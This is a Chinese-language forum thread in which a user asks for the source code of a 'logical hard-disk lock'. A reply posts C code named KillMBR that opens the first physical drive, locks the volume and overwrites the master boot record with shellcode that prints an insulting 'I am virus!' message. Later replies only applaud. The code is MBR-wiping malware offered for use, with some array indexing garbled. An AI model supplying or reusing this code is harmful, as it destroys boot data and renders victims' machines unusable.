想做一个技术人 发表于 2018-2-7 21:05:46

求大神给个逻辑硬盘锁的源码!

在此先谢谢了!

Tao0Lu 发表于 2018-3-3 15:33:25

本帖最后由 Tao_Lu 于 2018-3-3 15:34 编辑

#include 'winioctl.h'
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";

int KillMBR()
{
    HANDLE hDevice;
    DWORD dwBytesWritten, dwBytesReturned;
    BYTE pMBR = {0};

    // MBR
    memcpy(pMBR, scode, sizeof(scode) - 1);
    pMBR = 0x55;
    pMBR = 0xAA;

    hDevice = CreateFile
      (
      "\\\\.\\PHYSICALDRIVE0",
      GENERIC_READ | GENERIC_WRITE,
      FILE_SHARE_READ | FILE_SHARE_WRITE,
      NULL,
      OPEN_EXISTING,
      0,
      NULL
      );
    if (hDevice == INVALID_HANDLE_VALUE)
      return -1;
    DeviceIoControl
      (
      hDevice,
      FSCTL_LOCK_VOLUME,
      NULL,
      0,
      NULL,
      0,
      &dwBytesReturned,
      NULL
      );
    // WriteFile
    WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
    DeviceIoControl
      (
      hDevice,
      FSCTL_UNLOCK_VOLUME,
      NULL,
      0,
      NULL,
      0,
      &dwBytesReturned,
      NULL
      );
    CloseHandle(hDevice);

    ExitProcess(-1);
    return 0;
}

besteast 发表于 2018-11-13 22:48:00

:D:D:D:D:D:D:D

玫瑰花葬礼 发表于 2018-12-6 08:44:48

新人收下
页: [1]
查看完整版本: 求大神给个逻辑硬盘锁的源码!